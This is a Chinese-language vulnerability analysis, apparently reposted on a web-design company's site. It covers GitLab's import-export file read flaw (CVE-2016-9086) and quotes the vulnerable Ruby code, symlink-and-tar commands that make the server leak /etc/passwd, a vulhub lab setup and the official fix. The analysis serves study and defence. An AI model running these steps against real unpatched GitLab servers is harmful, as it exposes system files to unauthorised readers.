這篇文章主要介紹了Gitlab中任意文件讀取漏洞的示例分析,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
為重慶等地區(qū)用戶提供了全套網(wǎng)頁設(shè)計制作服務(wù),及重慶網(wǎng)站建設(shè)行業(yè)解決方案。主營業(yè)務(wù)為成都網(wǎng)站建設(shè)、成都做網(wǎng)站、重慶網(wǎng)站設(shè)計,以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專業(yè)、用心的態(tài)度為用戶提供真誠的服務(wù)。我們深信只要達到每一位用戶的要求,就會得到認可,從而選擇與我們長期合作。這樣,我們也可以走得更遠!
Port : 80
GitLab 是一個利用 Ruby on Rails 開發(fā)的開源應(yīng)用程序,實現(xiàn)一個自托管的 Git 項目倉庫,可通過 Web 界面進行訪問公開的或者私人項目。近日研究者發(fā)現(xiàn)在其多個版本中存在文件讀取漏洞 (CVE-2016-9086) 和 任意用戶 authentication_token 泄漏漏洞,攻擊者可以通過這兩個漏洞來獲取管理員的權(quán)限,進而控制所有 gitlab 項目。
影響版本:
任意文件讀取漏洞 (CVE-2016-9086):GitLab CE/EEversions 8.9, 8.10, 8.11, 8.12, and 8.13
任意用戶 authentication_token 泄露漏洞:Gitlab CE/EE versions 8.10.3-8.10.5
本文在前輩研究基礎(chǔ)上只分析任意斍讀取漏洞。
從 8.9.0 版本開始,GitLab 新增了導入導出項目的功能。一個空的 gitlab 項目導出后結(jié)構(gòu)如下:
VERSION # GitLab 的導出模塊的版本 project.json # 包含了項目的配置文件
當我們導入 GitLab 的導出文件的時候,GitLab 會按照如下步驟處理:
服務(wù)器根據(jù) VERSION 文件內(nèi)容檢測導出文件版本,如果版本符合,則導入。
服務(wù)器根據(jù) Project.json 文件創(chuàng)建一個新的項目,并將對應(yīng)的項目文件拷貝到服務(wù)器上對應(yīng)的位置。
檢測 VERSION 文件的代碼位于:/lib/gitlab/import_export/version_checker.rb
中:
... def check! version = File.open(version_file, &:readline) verify_version!(version) rescue => e shared.error(e) false end ... def verify_version!(version) if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version) raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}") else true end end ...
我們可以看到這里的邏輯是讀取 VERSION 文件的第一行賦值給變量 version,然后檢測 verison 與當前版本是否相同,相同返回 true,不相同則返回錯誤信息 (錯誤信息中包括變量 version 的值). 于是漏洞發(fā)現(xiàn)者 Jobert Abma 巧妙的使用了軟鏈接來達到讀取任意文件的目的。首先,我們給 VERSION 文件加上軟鏈接并重新打包。
ln -sf /etc/passwd VERSION tar zcf change_version.tar.gz ./
這樣,讀取 VERSION 文件的時候服務(wù)器就會根據(jù)軟鏈接讀取到 /etc/passwd 的第一行內(nèi)容并賦值給 version。但是由于 version 與當前版本不相同,所以會輸出 version 的值,也就是 /etc/passwd 第一行的內(nèi)容。
但是,如果只讀取任意文件的第一行,能做的事情還是太少了。漏洞發(fā)現(xiàn)者顯然不滿足這一結(jié)果,他繼續(xù)找了下去.讀取 Project.json 這一配置文件的代碼位于:/lib/gitlab/import_export/project_tree_restorer.rb 中:
... def restore json = IO.read(@path) tree_hash = ActiveSupport::JSON.decode(json) project_members = tree_hash.delete('project_members') ActiveRecord::Base.no_touching do create_relations end rescue => e shared.error(e) false end ...
在這里,我們可以再次使用軟鏈接使變量 json 獲取到任意文件的內(nèi)容,但是由于獲取的文件不是 json 格式,無法 decode,導致異常拋出,最終在前端顯示出任意文件的內(nèi)容。 添加軟鏈接并打包:
ln -sf /etc/passwd project.json tar zcf change_version.tar.gz ./
如下測試環(huán)境借助 vulhub 的 docker 鏡像,附上 P 師傅的鏈接:https://github.com/vulhub/vulhub
編譯及運行環(huán)境:
docker-compose up -d
請使用 2G 及以上內(nèi)存的 vps 或虛擬機運行該環(huán)境,實測 1G 內(nèi)存的機器無法正常運行 Gitlab(運行后 502 錯誤)。
環(huán)境運行后,Web 端口為 10080,ssh 端口為 10022。訪問 http://your-ip:10080
,設(shè)置管理員(用戶名 root
)密碼,登錄。
新建一個項目,點擊 GitLab export
:
將 test.tar.gz上傳,將會讀取到 /etc/passwd
文件內(nèi)容:
漏洞修復
官方先移除了導入包里的軟連接,其次,讀取 VERSION 的內(nèi)容和 project.json 的內(nèi)容出錯后將內(nèi)容輸出到日志里而非返回到前端。
感謝你能夠認真閱讀完這篇文章,希望小編分享的“Gitlab中任意文件讀取漏洞的示例分析”這篇文章對大家有幫助,同時也希望大家多多支持創(chuàng)新互聯(lián),關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,更多相關(guān)知識等著你來學習!
網(wǎng)站標題:Gitlab中任意文件讀取漏洞的示例分析
標題網(wǎng)址:http://jinyejixie.com/article36/pppdsg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供微信公眾號、網(wǎng)站營銷、網(wǎng)站設(shè)計公司、網(wǎng)站排名、自適應(yīng)網(wǎng)站、網(wǎng)頁設(shè)計公司
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)